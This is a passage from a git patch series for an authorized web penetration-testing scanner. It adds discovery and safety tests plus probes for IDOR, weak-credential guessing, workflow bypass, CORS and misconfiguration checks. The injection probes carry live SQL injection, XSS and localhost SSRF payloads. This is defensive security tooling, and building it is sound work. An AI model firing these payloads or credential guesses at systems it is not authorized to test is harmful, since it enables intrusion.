depth limit.""" + disc = _make_discovery( + max_depth=1, + routes_html={ + "/": 'L1', + "/level1/": 'L2', + "/level1/level2/": 'L3', + }, + ) + routes, _ = disc.discover() + self.assertIn("/level1/", routes) + # level2 should NOT be discovered (depth 2 > max_depth 1) + self.assertNotIn("/level1/level2/", routes) + + def test_form_actions_recorded_not_followed(self): + """Forms are collected but their actions are not visited.""" + disc = _make_discovery(routes_html={ + "/": '
    About', + }) + routes, forms = disc.discover() + self.assertIn("/api/submit/", forms) + self.assertIn("/about/", routes) + + def test_known_routes_included(self): + """User-supplied routes are added to BFS queue.""" + disc = _make_discovery(routes_html={ + "/custom/": 'Sub', + }) + routes, _ = disc.discover(known_routes=["/custom/"]) + self.assertIn("/custom/", routes) + + def test_empty_html(self): + """Pages with no links still appear in routes.""" + disc = _make_discovery(routes_html={ + "/": 'Hello', + }) + routes, _ = disc.discover() + self.assertIn("/", routes) + self.assertEqual(len(routes), 1) + + def test_non_html_skipped(self): + """Non-HTML responses are added to routes but not parsed.""" + cfg = GrayboxTargetConfig(discovery=DiscoveryConfig()) + auth = MagicMock() + safety = MagicMock() + session = MagicMock() + + def mock_get(url, **kwargs): + if "/api/data" in url: + return _mock_response(text='{"key": "value"}', content_type="application/json") + return _mock_response(text='API') + + session.get.side_effect = mock_get + auth.official_session = session + auth.anon_session = session + + disc = DiscoveryModule("http://testapp.local:8000", auth, safety, cfg) + routes, _ = disc.discover() + self.assertIn("/api/data", routes) + + +class TestRouteParser(unittest.TestCase): + + def test_extracts_links_and_forms(self): + """Parser extracts href and form action.""" + parser = _RouteParser() + parser.feed('P1
    ') + self.assertEqual(parser.links, ["/page1/"]) + self.assertEqual(parser.forms, ["/submit/"]) + + def test_ignores_empty_href(self): + """Links without href are ignored.""" + parser = _RouteParser() + parser.feed('No href') + self.assertEqual(parser.links, []) + + +class TestNormalize(unittest.TestCase): + + def test_javascript_ignored(self): + """javascript: links return empty string.""" + disc = _make_discovery() + self.assertEqual(disc._normalize("javascript:void(0)"), "") + + def test_mailto_ignored(self): + disc = _make_discovery() + self.assertEqual(disc._normalize("mailto:a@b.com"), "") + + def test_hash_ignored(self): + disc = _make_discovery() + self.assertEqual(disc._normalize("#section"), "") + + def test_relative_path(self): + disc = _make_discovery() + result = disc._normalize("/api/users/") + self.assertEqual(result, "/api/users/") + + def test_dotdot_collapsed(self): + """.. segments are collapsed.""" + disc = _make_discovery() + result = disc._normalize("/api/../admin/") + self.assertEqual(result, "/admin/") + + def test_external_rejected(self): + """External domain links return empty.""" + disc = _make_discovery() + result = disc._normalize("https://other.com/path") + self.assertEqual(result, "") + + +if __name__ == '__main__': + unittest.main() diff --git a/extensions/business/cybersec/red_mesh/tests/test_safety.py b/extensions/business/cybersec/red_mesh/tests/test_safety.py new file mode 100644 index 00000000..8a1d0a46 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/tests/test_safety.py @@ -0,0 +1,107 @@ +"""Tests for SafetyControls.""" + +import time +import unittest + +from extensions.business.cybersec.red_mesh.graybox.safety import SafetyControls +from extensions.business.cybersec.red_mesh.constants import ( + GRAYBOX_DEFAULT_DELAY, + GRAYBOX_MAX_WEAK_ATTEMPTS, +) + + +class TestSafetyControls(unittest.TestCase): + + def test_clamp_attempts_respects_cap(self): + """clamp_attempts enforces hard cap.""" + self.assertEqual(SafetyControls.clamp_attempts(5), 5) + self.assertEqual(SafetyControls.clamp_attempts(100), GRAYBOX_MAX_WEAK_ATTEMPTS) + self.assertEqual(SafetyControls.clamp_attempts(0), 0) + self.assertEqual(SafetyControls.clamp_attempts(-1), 0) + + def test_validate_target_no_auth(self): + """Unauthorized scan returns error.""" + err = SafetyControls.validate_target("http://example.com", authorized=False) + self.assertIsNotNone(err) + self.assertIn("not authorized", err.lower()) + + def test_validate_target_blocked(self): + """Public domains are blocked.""" + err = SafetyControls.validate_target("https://google.com", authorized=True) + self.assertIsNotNone(err) + self.assertIn("public service", err.lower()) + + def test_validate_target_blocked_subdomain(self): + """Subdomains of blocked domains are also blocked.""" + err = SafetyControls.validate_target("https://mail.google.com", authorized=True) + self.assertIsNotNone(err) + + def test_validate_target_ok(self): + """Valid URL + authorized returns None.""" + err = SafetyControls.validate_target("https://myapp.internal.com", authorized=True) + self.assertIsNone(err) + + def test_validate_target_invalid_url(self): + """Invalid URL returns error.""" + err = SafetyControls.validate_target("not-a-url", authorized=True) + self.assertIsNotNone(err) + + def test_validate_target_bad_scheme(self): + """Non-HTTP scheme returns error.""" + err = SafetyControls.validate_target("ftp://example.com", authorized=True) + self.assertIsNotNone(err) + self.assertIn("scheme", err.lower()) + + def test_sanitize_error_password(self): + """Password values are scrubbed.""" + msg = SafetyControls.sanitize_error('Error: password="secret123" is wrong') + self.assertNotIn("secret123", msg) + self.assertIn("***", msg) + + def test_sanitize_error_token(self): + """Token values are scrubbed.""" + msg = SafetyControls.sanitize_error("token=abc123def in header") + self.assertNotIn("abc123def", msg) + self.assertIn("***", msg) + + def test_sanitize_error_secret(self): + """Secret values are scrubbed.""" + msg = SafetyControls.sanitize_error("secret=mysecretvalue leaked") + self.assertNotIn("mysecretvalue", msg) + self.assertIn("***", msg) + + def test_sanitize_error_preserves_normal_text(self): + """Normal text without credentials is preserved.""" + msg = SafetyControls.sanitize_error("Connection refused on port 443") + self.assertEqual(msg, "Connection refused on port 443") + + def test_throttle_delay(self): + """Requests are spaced by min_delay.""" + sc = SafetyControls(request_delay=0.05, target_is_local=True) + sc.throttle() + t1 = time.time() + sc.throttle() + t2 = time.time() + self.assertGreaterEqual(t2 - t1, 0.04) # small tolerance + + def test_min_delay_enforced_non_local(self): + """Non-local target gets GRAYBOX_DEFAULT_DELAY minimum.""" + sc = SafetyControls(request_delay=0.01, target_is_local=False) + self.assertEqual(sc._request_delay, GRAYBOX_DEFAULT_DELAY) + + def test_min_delay_local_bypass(self): + """Local target allows lower delay.""" + sc = SafetyControls(request_delay=0.01, target_is_local=True) + self.assertEqual(sc._request_delay, 0.01) + + def test_is_local_target(self): + """Recognizes localhost variants.""" + self.assertTrue(SafetyControls.is_local_target("http://localhost:8000")) + self.assertTrue(SafetyControls.is_local_target("http://127.0.0.1:3000")) + self.assertTrue(SafetyControls.is_local_target("http://[::1]:8080")) + self.assertTrue(SafetyControls.is_local_target("http://host.docker.internal")) + self.assertFalse(SafetyControls.is_local_target("http://example.com")) + + +if __name__ == '__main__': + unittest.main() From be546bda046c13448b54501222b9c1e483a71100 Mon Sep 17 00:00:00 2001 From: toderian Date: Tue, 10 Mar 2026 21:57:16 +0000 Subject: [PATCH 048/114] feat: graybox probes (phase ) --- .../red_mesh/graybox/probes/__init__.py | 0 .../red_mesh/graybox/probes/access_control.py | 172 ++++++++ .../cybersec/red_mesh/graybox/probes/base.py | 71 ++++ .../red_mesh/graybox/probes/business_logic.py | 167 ++++++++ .../red_mesh/graybox/probes/injection.py | 379 ++++++++++++++++++ .../red_mesh/graybox/probes/misconfig.py | 327 +++++++++++++++ .../red_mesh/tests/test_probes_access.py | 210 ++++++++++ .../red_mesh/tests/test_probes_business.py | 210 ++++++++++ .../red_mesh/tests/test_probes_injection.py | 278 +++++++++++++ .../red_mesh/tests/test_probes_misconfig.py | 241 +++++++++++ 10 files changed, 2055 insertions(+) create mode 100644 extensions/business/cybersec/red_mesh/graybox/probes/__init__.py create mode 100644 extensions/business/cybersec/red_mesh/graybox/probes/access_control.py create mode 100644 extensions/business/cybersec/red_mesh/graybox/probes/base.py create mode 100644 extensions/business/cybersec/red_mesh/graybox/probes/business_logic.py create mode 100644 extensions/business/cybersec/red_mesh/graybox/probes/injection.py create mode 100644 extensions/business/cybersec/red_mesh/graybox/probes/misconfig.py create mode 100644 extensions/business/cybersec/red_mesh/tests/test_probes_access.py create mode 100644 extensions/business/cybersec/red_mesh/tests/test_probes_business.py create mode 100644 extensions/business/cybersec/red_mesh/tests/test_probes_injection.py create mode 100644 extensions/business/cybersec/red_mesh/tests/test_probes_misconfig.py diff --git a/extensions/business/cybersec/red_mesh/graybox/probes/__init__.py b/extensions/business/cybersec/red_mesh/graybox/probes/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/extensions/business/cybersec/red_mesh/graybox/probes/access_control.py b/extensions/business/cybersec/red_mesh/graybox/probes/access_control.py new file mode 100644 index 00000000..da8d9867 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/graybox/probes/access_control.py @@ -0,0 +1,172 @@ +""" +Access control probes — A01 IDOR + privilege escalation. +""" + +import re + +from .base import ProbeBase +from ..findings import GrayboxFinding + + +class AccessControlProbes(ProbeBase): + """PT-A01-01 IDOR/BOLA, PT-A01-02 function-level authorization bypass.""" + + requires_auth = True + requires_regular_session = True + is_stateful = False + + def run(self): + if self.auth.regular_session: + self.run_safe("idor", self._test_idor) + if self.auth.regular_session: + self.run_safe("privilege_escalation", self._test_privilege_esc) + return self.findings + + def _test_idor(self): + """ + Test IDOR on configured or auto-detected endpoints. + + Emits exactly ONE finding per scenario. Accumulates results across + all endpoints, then emits vulnerable (worst-case wins) or not_vulnerable. + """ + endpoints = self.target_config.access_control.idor_endpoints + if not endpoints: + endpoints = self._infer_idor_endpoints() + if not endpoints: + return + + if not self.regular_username: + return + + vulnerable_evidence = None + endpoints_tested = 0 + + for ep in endpoints: + self.safety.throttle() + result = self._test_single_idor(ep) + endpoints_tested += 1 + if result: + vulnerable_evidence = result + break + + if vulnerable_evidence: + owner, url, path = vulnerable_evidence + self.findings.append(GrayboxFinding( + scenario_id="PT-A01-01", + title="Object-level authorization bypass", + status="vulnerable", + severity="HIGH", + owasp="A01:2021", + cwe=["CWE-639", "CWE-862"], + attack=["T1078"], + evidence=[ + f"endpoint={url}", + "response_status=200", + f"owner_field={owner}", + f"authenticated_user={self.regular_username}", + ], + replay_steps=[ + "Log in as regular user.", + f"Request GET {path}.", + "Observe owner field not matching logged-in user.", + ], + remediation="Authorize object access using both role and ownership checks server-side.", + )) + else: + self.findings.append(GrayboxFinding( + scenario_id="PT-A01-01", + title="Object-level authorization — no bypass detected", + status="not_vulnerable", + severity="INFO", + owasp="A01:2021", + evidence=[f"endpoints_tested={endpoints_tested}"], + )) + + def _test_single_idor(self, ep): + """Test one IDOR endpoint. Returns (owner, url, path) on hit, None on miss.""" + path_tpl = ep.path + for test_id in ep.test_ids: + path = path_tpl.replace("{id}", str(test_id)) + url = self.target_url + path + resp = self.auth.regular_session.get(url, timeout=10) + if resp.status_code != 200: + continue + ct = resp.headers.get("content-type", "") + if not ct.startswith("application/json"): + continue + try: + body = resp.json() + except ValueError: + continue + owner = body.get(ep.owner_field, "") + if owner and owner != self.regular_username: + return (owner, url, path) + return None + + def _infer_idor_endpoints(self): + """Auto-detect potential IDOR endpoints from discovered routes.""" + from ..models.target_config import IdorEndpoint + pattern = re.compile(r"^(/(?:api/)?[\w-]+/)\d+/?$") + endpoints = [] + for route in self.discovered_routes: + m = pattern.match(route) + if m: + endpoints.append(IdorEndpoint( + path=m.group(1) + "{id}/", + test_ids=[1, 2], + owner_field="owner", + )) + return endpoints + + def _test_privilege_esc(self): + """Test admin endpoints accessible as regular user.""" + endpoints = self.target_config.access_control.admin_endpoints + if not endpoints: + return + for ep in endpoints: + self.safety.throttle() + method = ep.method.upper() + url = self.target_url + ep.path + if method == "GET": + resp = self.auth.regular_session.get(url, timeout=10) + else: + continue # only GET for read-only probes + + if resp.status_code == 200: + body_lower = resp.text.lower() + denial_markers = ["access denied", "permission denied", "forbidden", + "not authorized", "unauthorized", "403"] + has_denial = any(m in body_lower for m in denial_markers) + + has_content = any(m in resp.text for m in ep.content_markers) if ep.content_markers else False + + if has_denial: + continue + + if has_content: + finding_status = "vulnerable" + finding_severity = "HIGH" + else: + finding_status = "inconclusive" + finding_severity = "LOW" + + self.findings.append(GrayboxFinding( + scenario_id="PT-A01-02", + title="Function-level authorization bypass", + status=finding_status, + severity=finding_severity, + owasp="A01:2021", + cwe=["CWE-862"], + attack=["T1078"], + evidence=[ + f"endpoint={url}", + "response_status=200", + f"content_verified={has_content}", + ], + replay_steps=[ + "Log in as regular user.", + f"Request {method} {ep.path}.", + "Confirm privileged data is returned.", + ], + remediation="Require admin role and deny by default for all privileged functions.", + )) diff --git a/extensions/business/cybersec/red_mesh/graybox/probes/base.py b/extensions/business/cybersec/red_mesh/graybox/probes/base.py new file mode 100644 index 00000000..17367386 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/graybox/probes/base.py @@ -0,0 +1,71 @@ +""" +Base class for graybox probe modules. + +Provides shared utilities, error recovery, and capability declarations. +Probes receive fully initialized collaborators — they don't manage +sessions or credentials themselves. +""" + +import requests + +from ..findings import GrayboxFinding + + +class ProbeBase: + """ + Shared utilities for graybox probe modules. + + Probes receive fully initialized collaborators — they don't manage + sessions or credentials themselves. + + Capability declarations: subclasses set class-level attributes to + declare their requirements. The worker introspects these after loading + the class from the registry. No capability flags in the registry. + """ + + # Capability declarations — override in subclasses. + requires_auth: bool = True + requires_regular_session: bool = False + is_stateful: bool = False + + def __init__(self, target_url, auth_manager, target_config, safety, + discovered_routes=None, discovered_forms=None, + regular_username="", allow_stateful=False): + self.target_url = target_url.rstrip("/") + self.auth = auth_manager + self.target_config = target_config + self.safety = safety + self.discovered_routes = discovered_routes or [] + self.discovered_forms = discovered_forms or [] + self.regular_username = regular_username + self._allow_stateful = allow_stateful + self.findings: list[GrayboxFinding] = [] + + def run_safe(self, probe_name, probe_fn): + """ + Run a probe with error recovery. + + Does NOT call ensure_sessions — the worker is responsible for session + lifecycle. Probes just use self.auth.official_session / + self.auth.regular_session as-is. + """ + try: + probe_fn() + except requests.exceptions.ConnectionError: + self._record_error(probe_name, "target_unreachable") + except requests.exceptions.Timeout: + self._record_error(probe_name, "request_timeout") + except Exception as exc: + self._record_error(probe_name, self.safety.sanitize_error(str(exc))) + + def _record_error(self, probe_name, error_msg): + """Store a non-fatal error as an INFO GrayboxFinding.""" + self.findings.append(GrayboxFinding( + scenario_id=f"ERR-{probe_name}", + title=f"Probe error: {probe_name}", + status="inconclusive", + severity="INFO", + owasp="", + evidence=[f"error={error_msg}"], + error=error_msg, + )) diff --git a/extensions/business/cybersec/red_mesh/graybox/probes/business_logic.py b/extensions/business/cybersec/red_mesh/graybox/probes/business_logic.py new file mode 100644 index 00000000..16a72850 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/graybox/probes/business_logic.py @@ -0,0 +1,167 @@ +""" +Business logic probes — A06 workflow bypass + A07 weak auth. +""" + +from .base import ProbeBase +from ..findings import GrayboxFinding + + +class BusinessLogicProbes(ProbeBase): + """ + PT-A06-01: workflow bypass (STATEFUL — requires allow_stateful_probes). + PT-A07-01: weak auth simulation (read-only). + """ + + requires_auth = True + requires_regular_session = True + is_stateful = True + + def run(self): + if self._allow_stateful: + self.run_safe("workflow_bypass", self._test_workflow_bypass) + else: + self.findings.append(GrayboxFinding( + scenario_id="PT-A06-01", + title="Business logic probes skipped", + status="inconclusive", + severity="INFO", + owasp="A06:2021", + evidence=["stateful_probes_disabled=True"], + )) + return self.findings + + def run_weak_auth(self, candidates, max_attempts): + """ + PT-A07-01 bounded weak-credential simulation. + + Read-only: only tests login, never modifies application state. + Includes lockout detection to abort if target starts blocking. + """ + budget = self.safety.clamp_attempts(max_attempts) + if not candidates: + return self.findings + + lockout_markers = [ + "account locked", "too many attempts", "temporarily blocked", + "account suspended", "try again later", "rate limit", + ] + + attempts = 0 + successes = [] + for cred in candidates[:budget]: + if ":" not in cred: + continue + username, password = cred.split(":", 1) + self.safety.throttle_auth() + session = self.auth.try_credentials(username, password) + attempts += 1 + if session: + successes.append(username) + session.close() + else: + check_session = self.auth.make_anonymous_session() + try: + login_url = self.auth.target_url + self.auth.target_config.login_path + resp = check_session.get(login_url, timeout=10) + body_lower = resp.text.lower() + if resp.status_code == 429 or any(m in body_lower for m in lockout_markers): + self.findings.append(GrayboxFinding( + scenario_id="PT-A07-01", + title="Account lockout detected — weak auth aborted", + status="inconclusive", + severity="INFO", + owasp="A07:2021", + cwe=["CWE-307"], + evidence=[ + f"attempt_count={attempts}", + f"status={resp.status_code}", + ], + )) + return self.findings + except Exception: + pass + finally: + check_session.close() + if attempts >= budget: + break + + if successes: + self.findings.append(GrayboxFinding( + scenario_id="PT-A07-01", + title="Bounded weak-auth simulation", + status="vulnerable", + severity="HIGH", + owasp="A07:2021", + cwe=["CWE-307"], + attack=["T1110"], + evidence=[ + f"attempt_count={attempts}", + f"success_count={len(successes)}", + f"first_success={successes[0]}", + ], + replay_steps=[ + "Run weak-auth simulation with bounded candidate list.", + "Observe successful login using guessed credentials.", + ], + remediation="Enforce strong credential policy, lockout, and throttling controls.", + )) + + return self.findings + + def _test_workflow_bypass(self): + """ + PT-A06-01: test insecure workflow transitions. + + Tests if regular user can access workflow endpoints that should + require elevated permissions or specific state transitions. + """ + if not self.auth.regular_session: + return + + endpoints = self.target_config.business_logic.workflow_endpoints + if not endpoints: + return + + for ep in endpoints: + self.safety.throttle() + url = self.target_url + ep.path + method = ep.method.upper() + + try: + if method == "POST": + resp = self.auth.regular_session.post(url, data={}, timeout=10) + else: + resp = self.auth.regular_session.get(url, timeout=10) + except Exception: + continue + + if resp.status_code < 400: + body_lower = resp.text.lower() + denial_markers = ["access denied", "permission denied", "forbidden", + "not authorized", "unauthorized"] + if any(m in body_lower for m in denial_markers): + continue + + expected = ep.expected_guard + if expected and str(resp.status_code) != expected: + self.findings.append(GrayboxFinding( + scenario_id="PT-A06-01", + title="Workflow bypass — missing authorization guard", + status="vulnerable", + severity="HIGH", + owasp="A06:2021", + cwe=["CWE-841"], + attack=["T1078"], + evidence=[ + f"endpoint={url}", + f"method={method}", + f"expected_guard={expected}", + f"actual_status={resp.status_code}", + ], + replay_steps=[ + "Log in as regular user.", + f"Send {method} to {ep.path}.", + f"Observe status {resp.status_code} instead of expected guard {expected}.", + ], + remediation="Enforce workflow state guards and role checks on all state-changing endpoints.", + )) diff --git a/extensions/business/cybersec/red_mesh/graybox/probes/injection.py b/extensions/business/cybersec/red_mesh/graybox/probes/injection.py new file mode 100644 index 00000000..f9b4164c --- /dev/null +++ b/extensions/business/cybersec/red_mesh/graybox/probes/injection.py @@ -0,0 +1,379 @@ +""" +Injection probes — A03 + A05 + API7. +""" + +import re + +from .base import ProbeBase +from ..findings import GrayboxFinding + + +class InjectionProbes(ProbeBase): + """ + PT-A05-01: controlled injection on login form. + PT-A03-01: authenticated injection on discovered forms. + PT-A03-02: stored XSS (stateful — gated). + PT-API7-01: SSRF checks on URL-fetch endpoints. + """ + + requires_auth = True + requires_regular_session = False + is_stateful = False + + def run(self): + self.run_safe("login_injection", self._test_login_injection) + if self.auth.official_session: + self.run_safe("authenticated_injection", self._test_authenticated_injection) + if self._allow_stateful: + self.run_safe("stored_xss", self._test_stored_xss) + else: + self.findings.append(GrayboxFinding( + scenario_id="PT-A03-02", + title="Stored XSS probe skipped: stateful probes disabled", + status="inconclusive", + severity="INFO", + owasp="A03:2021", + evidence=["stateful_probes_disabled=True", + "reason=stored_xss_writes_data_to_target"], + )) + self.run_safe("ssrf", self._test_ssrf) + return self.findings + + def _test_login_injection(self): + """PT-A05-01: inject into login form fields (unauthenticated).""" + session = self.auth.make_anonymous_session() + login_url = self.target_url + self.target_config.login_path + + payloads = [ + ("xss", '', "CWE-79"), + ("sqli", "' OR '1'='1", "CWE-89"), + ] + + try: + page = session.get(login_url, timeout=10) + except Exception: + session.close() + return + + # Extract CSRF token if present + csrf_field = self.auth.detected_csrf_field + csrf_token = None + if csrf_field: + csrf_token = self.auth.extract_csrf_value(page.text, csrf_field) + + vulnerable = [] + for label, payload, cwe in payloads: + self.safety.throttle() + form_data = { + self.target_config.username_field: payload, + self.target_config.password_field: "test", + } + if csrf_token and csrf_field: + form_data[csrf_field] = csrf_token + + try: + resp = session.post(login_url, data=form_data, timeout=10) + except Exception: + continue + + # Check for reflection + if payload in resp.text: + vulnerable.append((label, cwe, payload)) + + session.close() + + if vulnerable: + for label, cwe, payload in vulnerable: + self.findings.append(GrayboxFinding( + scenario_id="PT-A05-01", + title=f"Reflected {label.upper()} in login form", + status="vulnerable", + severity="HIGH" if label == "sqli" else "MEDIUM", + owasp="A05:2021" if label == "sqli" else "A03:2021", + cwe=[cwe], + evidence=[ + f"endpoint={login_url}", + f"field={self.target_config.username_field}", + f"payload={payload}", + "payload_reflected=True", + ], + replay_steps=[ + f"Submit {payload} in the username field of {self.target_config.login_path}.", + "Observe payload reflected in the response.", + ], + remediation="Apply input validation and output encoding on all form fields.", + )) + else: + self.findings.append(GrayboxFinding( + scenario_id="PT-A05-01", + title="Login form injection — no reflection detected", + status="not_vulnerable", + severity="INFO", + owasp="A05:2021", + evidence=[f"payloads_tested={len(payloads)}"], + )) + + def _test_authenticated_injection(self): + """ + PT-A03-01: inject into authenticated form fields. + + Tests each discovered form's text inputs with XSS/SQLi payloads. + Skips login form (already tested by _test_login_injection). + """ + if not self.discovered_forms: + return + + payloads = [ + ("xss", "", "CWE-79"), + ("sqli", "' OR '1'='1", "CWE-89"), + ] + login_path = self.target_config.login_path + tested = 0 + vulnerable_forms = [] + + for form_action in self.discovered_forms: + if form_action == login_path: + continue + self.safety.throttle() + url = self.target_url + form_action + + try: + page = self.auth.official_session.get(url, timeout=10) + except Exception: + continue + + # Extract input field names + input_names = re.findall( + r']+name=["\']([^"\']+)["\'][^>]*type=["\']?text', + page.text, re.IGNORECASE, + ) + textarea_names = re.findall( + r']+name=["\']([^"\']+)["\']', + page.text, re.IGNORECASE, + ) + all_inputs = input_names + textarea_names + if not all_inputs: + continue + + # Include CSRF token + csrf_field = self.auth.detected_csrf_field + csrf_token = None + if csrf_field: + csrf_token = self.auth.extract_csrf_value(page.text, csrf_field) + + for label, payload, cwe in payloads: + self.safety.throttle() + form_data = {name: payload for name in all_inputs} + if csrf_token and csrf_field: + form_data[csrf_field] = csrf_token + + try: + resp = self.auth.official_session.post(url, data=form_data, timeout=10) + except Exception: + continue + tested += 1 + + if payload in resp.text: + vulnerable_forms.append((form_action, label, cwe, all_inputs[0])) + + for form_action, label, cwe, field in vulnerable_forms: + self.findings.append(GrayboxFinding( + scenario_id="PT-A03-01", + title=f"Reflected {label.upper()} in authenticated form", + status="vulnerable", + severity="HIGH" if label == "sqli" else "MEDIUM", + owasp="A03:2021", + cwe=[cwe], + evidence=[ + f"endpoint={self.target_url + form_action}", + f"field={field}", + "payload_reflected=True", + ], + replay_steps=[ + "Log in as authenticated user.", + f"Submit payload in {field} at {form_action}.", + "Observe payload reflected in the response.", + ], + remediation="Apply input validation and output encoding on all form fields.", + )) + + if tested > 0 and not vulnerable_forms: + self.findings.append(GrayboxFinding( + scenario_id="PT-A03-01", + title="Authenticated injection — no reflection detected", + status="not_vulnerable", + severity="INFO", + owasp="A03:2021", + evidence=[f"forms_tested={tested}"], + )) + + def _test_stored_xss(self): + """ + PT-A03-02: stored XSS via authenticated form submission. + + Submits canary payload via POST to text inputs, then reads back + via GET to detect unescaped reflection. Gated behind allow_stateful. + """ + if not self.discovered_forms: + return + + import uuid + canary = f"XSS-CANARY-{uuid.uuid4().hex[:8]}" + payload = f"" + skip_paths = {self.target_config.login_path, self.target_config.logout_path} + + tested = 0 + for form_action in self.discovered_forms[:3]: + if form_action in skip_paths: + continue + self.safety.throttle() + url = self.target_url + form_action + + try: + page = self.auth.official_session.get(url, timeout=10) + except Exception: + continue + + input_names = re.findall( + r']+name=["\']([^"\']+)["\'][^>]*type=["\']?text', + page.text, re.IGNORECASE, + ) + textarea_names = re.findall( + r']+name=["\']([^"\']+)["\']', + page.text, re.IGNORECASE, + ) + all_inputs = input_names + textarea_names + if not all_inputs: + continue + + form_data = {name: payload for name in all_inputs} + csrf_field = self.auth.detected_csrf_field + if csrf_field: + csrf_token = self.auth.extract_csrf_value(page.text, csrf_field) + if csrf_token: + form_data[csrf_field] = csrf_token + + try: + self.auth.official_session.post(url, data=form_data, timeout=10) + except Exception: + continue + tested += 1 + + self.safety.throttle() + try: + readback = self.auth.official_session.get(url, timeout=10) + except Exception: + continue + + if canary in readback.text and payload in readback.text: + self.findings.append(GrayboxFinding( + scenario_id="PT-A03-02", + title="Stored cross-site scripting (XSS)", + status="vulnerable", + severity="HIGH", + owasp="A03:2021", + cwe=["CWE-79"], + attack=["T1059.007"], + evidence=[ + f"endpoint={url}", + f"input_fields={', '.join(all_inputs)}", + f"canary={canary}", + "payload_reflected_unescaped=True", + ], + replay_steps=[ + "Log in as authenticated user.", + f"POST XSS payload to {form_action} in field {all_inputs[0]}.", + f"GET {form_action} and observe unescaped payload in response.", + ], + remediation="Apply output encoding on all user-supplied content. " + "Use Content-Security-Policy to mitigate impact.", + )) + return + + if tested > 0: + self.findings.append(GrayboxFinding( + scenario_id="PT-A03-02", + title="Stored XSS — no vulnerability detected", + status="not_vulnerable", + severity="INFO", + owasp="A03:2021", + evidence=[f"forms_tested={tested}"], + )) + + def _test_ssrf(self): + """ + PT-API7-01: SSRF checks on URL-fetch endpoints. + + Tests configured endpoints for server-side URL fetching. + Detects reflected SSRF and timing-based hints for blind SSRF. + """ + ssrf_endpoints = self.target_config.injection.ssrf_endpoints + if not ssrf_endpoints: + return + + import time as _time + payload_url = "http://127.0.0.1:1/internal-probe" + baseline_url = "http://example.invalid/nonexistent" + + for ep in ssrf_endpoints: + self.safety.throttle() + url = self.target_url + "/" + ep.path.lstrip("/") + session = self.auth.official_session or self.auth.anon_session + + try: + t0 = _time.monotonic() + session.get(url, params={ep.param: baseline_url}, timeout=10) + baseline_ms = (_time.monotonic() - t0) * 1000 + except Exception: + continue + + try: + t0 = _time.monotonic() + resp = session.get(url, params={ep.param: payload_url}, timeout=10) + probe_ms = (_time.monotonic() - t0) * 1000 + except Exception: + continue + + if resp.status_code == 200 and "internal-probe" in resp.text: + self.findings.append(GrayboxFinding( + scenario_id="PT-API7-01", + title="Server-side request forgery", + status="vulnerable", + severity="MEDIUM", + owasp="API7:2023", + cwe=["CWE-918"], + attack=["T1190"], + evidence=[ + f"endpoint={url}", + f"payload={payload_url}", + f"status={resp.status_code}", + ], + replay_steps=[ + f"Request GET {ep.path} with {ep.param}={payload_url}.", + "Observe server-side fetch of local callback URL.", + ], + remediation="Apply strict outbound URL allowlists and block local network ranges.", + )) + return + + if probe_ms > baseline_ms + 2000: + self.findings.append(GrayboxFinding( + scenario_id="PT-API7-01", + title="Possible blind SSRF (timing anomaly)", + status="inconclusive", + severity="LOW", + owasp="API7:2023", + cwe=["CWE-918"], + attack=["T1190"], + evidence=[ + f"endpoint={url}", + f"probe_ms={probe_ms:.0f}", + f"baseline_ms={baseline_ms:.0f}", + ], + replay_steps=[ + f"Request GET {ep.path} with {ep.param}={payload_url}.", + "Compare response time against baseline with non-routable URL.", + ], + remediation="Investigate with out-of-band callback to confirm blind SSRF.", + )) + return diff --git a/extensions/business/cybersec/red_mesh/graybox/probes/misconfig.py b/extensions/business/cybersec/red_mesh/graybox/probes/misconfig.py new file mode 100644 index 00000000..766ec7d4 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/graybox/probes/misconfig.py @@ -0,0 +1,327 @@ +""" +Security misconfiguration probes — A02 debug/CORS/headers/cookies/CSRF/session. +""" + +from .base import ProbeBase +from ..findings import GrayboxFinding + + +class MisconfigProbes(ProbeBase): + """PT-A02-01..06: debug exposure, CORS, headers, cookies, CSRF bypass, session token.""" + + requires_auth = False + requires_regular_session = False + is_stateful = False + + def run(self): + self.run_safe("debug_exposure", self._test_debug_exposure) + self.run_safe("cors", self._test_cors) + self.run_safe("security_headers", self._test_security_headers) + self.run_safe("cookie_attributes", self._test_cookie_attributes) + self.run_safe("csrf_bypass", self._test_csrf_bypass) + self.run_safe("session_token", self._test_session_token) + return self.findings + + def _test_debug_exposure(self): + """PT-A02-01: check debug/config endpoints for information disclosure.""" + session = self.auth.anon_session or self.auth.official_session + if not session: + return + + debug_paths = self.target_config.misconfig.debug_paths + exposed = [] + for path in debug_paths: + self.safety.throttle() + url = self.target_url + path + try: + resp = session.get(url, timeout=10) + except Exception: + continue + if resp.status_code == 200 and len(resp.text) > 50: + exposed.append(path) + + if exposed: + self.findings.append(GrayboxFinding( + scenario_id="PT-A02-01", + title="Debug/config endpoint exposed", + status="vulnerable", + severity="MEDIUM", + owasp="A02:2021", + cwe=["CWE-200"], + evidence=[f"exposed_paths={', '.join(exposed)}"], + remediation="Disable debug endpoints in production. Restrict access by IP or authentication.", + )) + else: + self.findings.append(GrayboxFinding( + scenario_id="PT-A02-01", + title="Debug endpoints — not exposed", + status="not_vulnerable", + severity="INFO", + owasp="A02:2021", + evidence=[f"paths_tested={len(debug_paths)}"], + )) + + def _test_cors(self): + """PT-A02-02: check for permissive CORS configuration.""" + session = self.auth.anon_session or self.auth.official_session + if not session: + return + + self.safety.throttle() + try: + resp = session.get( + self.target_url + "/", + headers={"Origin": "http://evil.example.com"}, + timeout=10, + ) + except Exception: + return + + acao = resp.headers.get("Access-Control-Allow-Origin", "") + acac = resp.headers.get("Access-Control-Allow-Credentials", "").lower() + + if acao == "*": + self.findings.append(GrayboxFinding( + scenario_id="PT-A02-02", + title="Permissive CORS: wildcard origin", + status="vulnerable", + severity="MEDIUM", + owasp="A02:2021", + cwe=["CWE-942"], + evidence=[ + f"access_control_allow_origin={acao}", + f"allow_credentials={acac}", + ], + remediation="Restrict Access-Control-Allow-Origin to trusted domains. Never use * with credentials.", + )) + elif acao == "http://evil.example.com": + severity = "HIGH" if acac == "true" else "MEDIUM" + self.findings.append(GrayboxFinding( + scenario_id="PT-A02-02", + title="CORS reflects arbitrary origin", + status="vulnerable", + severity=severity, + owasp="A02:2021", + cwe=["CWE-942"], + evidence=[ + f"access_control_allow_origin={acao}", + 